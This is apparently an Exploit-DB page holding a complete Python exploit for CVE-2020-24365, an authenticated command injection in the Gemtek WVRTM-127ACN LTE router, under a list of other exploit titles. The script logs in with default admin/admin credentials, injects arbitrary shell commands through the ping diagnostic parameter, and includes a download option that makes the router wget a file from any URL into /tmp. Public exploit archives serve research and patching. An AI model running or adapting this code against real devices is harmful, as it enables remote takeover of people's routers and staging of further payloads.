21fa83f241
12 changes to exploits/shellcodes Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC) Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure Joomla! Component com_memorix - SQL Injection Joomla! Component com_informations - SQL Injection Joomla! Component com_memorix - SQL Injection Joomla! Component com_informations - SQL Injection PESCMS TEAM 2.3.2 - Multiple Reflected XSS Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification xuucms 3 - 'keywords' SQL Injection Gitlab 12.9.0 - Arbitrary File Read (Authenticated) TestBox CFML Test Framework 4.1.0 - Arbitrary File Write and Remote Code Execution TestBox CFML Test Framework 4.1.0 - Directory Traversal Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection M/Monit 3.7.4 - Privilege Escalation M/Monit 3.7.4 - Password Disclosure Nagios Log Server 2.1.7 - Persistent Cross-Site Scripting
120 lines
No EOL
4.6 KiB
Python
Executable file
120 lines
No EOL
4.6 KiB
Python
Executable file
# Exploit Title: Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection
|
|
# Date: 13/09/2020
|
|
# Exploit Author: Gabriele Zuddas
|
|
# Version: 01.01.02.127, 01.01.02.141
|
|
# CVE : CVE-2020-24365
|
|
|
|
|
|
Service Provider : Linkem
|
|
Product Name : LTE CPE
|
|
Model ID : WVRTM-127ACN
|
|
Serial ID : GMK170418011089
|
|
IMEI : XXXXXXXXXXXXX
|
|
ICCID : XXXXXXXXXXXXXXXXXX
|
|
Firmware Version : 01.01.02.141
|
|
Firmware Creation Date : May 15 13:04:30 CST 2019
|
|
Bootrom Version : U-Boot 1.1.3
|
|
Bootrom Creation Date : Oct 23 2015 - 16:03:05
|
|
LTE Support Band : 42,43
|
|
|
|
|
|
Injecting happens here:
|
|
|
|
sh -c (ping -4 -c 1 -s 4 -W 1 "INJECTION" > /tmp/mon_diag.log 2>&1; cmscfg -s -n mon_diag_status -v 0)&
|
|
|
|
|
|
Exploit has been tested on older verions too:
|
|
Firmware Version: 01.01.02.127
|
|
Firmware Creation Date : May 23 15:34:10 CST 2018
|
|
|
|
"""
|
|
|
|
import requests, time, argparse, re, sys
|
|
|
|
class Exploit():
|
|
|
|
CVE = "CVE-2020-24365"
|
|
|
|
def __init__(self, args):
|
|
self.args = args
|
|
self.session = requests.Session()
|
|
|
|
def login(self):
|
|
s = self.session
|
|
r = s.post(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=login.asp&action=login", data={"user_name":self.args.username,"user_passwd":self.args.password})
|
|
if "sid" not in s.cookies:
|
|
print("[!] Login failed.")
|
|
exit(1)
|
|
sid = s.cookies["sid"]
|
|
s.headers = {"sid": sid}
|
|
print(f"[*] Login successful! (sid={sid})")
|
|
|
|
def now(self):
|
|
return int(time.time() * 1000)
|
|
|
|
def exploit(self, command):
|
|
self.login()
|
|
|
|
with self.session as s:
|
|
payload = f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=$({command};)&mon_ping_num=1&mon_ping_size=4&mon_ping_timeout=1&mon_tracert_hops=&mon_diag_protocol_type=4&time={self.now()}&_={self.now()}"
|
|
|
|
r = s.get(payload)
|
|
r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start¬run=1&time={self.now()}&_={self.now()}")
|
|
content = str(r.content, "utf8")
|
|
|
|
#Attempt to stop the command as some commands tend to get stuck (if commands stop working check on the web interface)
|
|
r = s.get(payload)
|
|
r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start¬run=1&time={self.now()}&_={self.now()}")
|
|
content = str(r.content, "utf8")
|
|
|
|
#TODO: eventually parse content with regex to clean out the output
|
|
c = re.findall(r"(?<=ping: bad address \')(.*)(?=\')", content)
|
|
print(content)
|
|
print(c[0])
|
|
|
|
if len(c) > 0:
|
|
return c[0]
|
|
else:
|
|
return False
|
|
|
|
def download_file(self, url):
|
|
filename = url.rsplit('/', 1)[-1]
|
|
|
|
if self.args.file is not None:
|
|
print(f"[*] Attempting download of file '{filename}' from {url} ...")
|
|
|
|
if self.exploit(f"wget {url} -O /tmp/{filename}"):
|
|
print(f"[*] File saved on {self.args.target}'s /tmp/{filename}.")
|
|
print(self.exploit(f"du -h /tmp/{filename}"))
|
|
return True
|
|
else:
|
|
print(f"[!] Failed to download {filename} from {url}")
|
|
return False
|
|
|
|
def run(self):
|
|
if self.args.command is not None:
|
|
print(self.exploit(self.args.command))
|
|
exit()
|
|
if self.args.file is not None:
|
|
self.download_file(self.args.file)
|
|
exit()
|
|
|
|
if __name__ == "__main__":
|
|
# Create the parser and add arguments
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("-t", "--target", dest="target", default="192.168.1.1", help="Vulnerable target")
|
|
parser.add_argument("-u", "--username", dest="username", default="admin", help="Valid username to use")
|
|
parser.add_argument("-p", "--password", dest="password", default="admin", help="Valid password to use")
|
|
parser.add_argument("-c", "--command", dest="command", default=None, help="Command to execute")
|
|
|
|
parser.add_argument("-D", "--download-file", dest="file", default=None, help="Download file on target's /tmp directory")
|
|
|
|
args = parser.parse_args()
|
|
|
|
# Run exploit
|
|
X = Exploit(args)
|
|
if len(sys.argv) > 1:
|
|
print(f"[*] Exploiting {X.CVE} ...")
|
|
X.run()
|
|
else:
|
|
parser.print_help(sys.stderr) |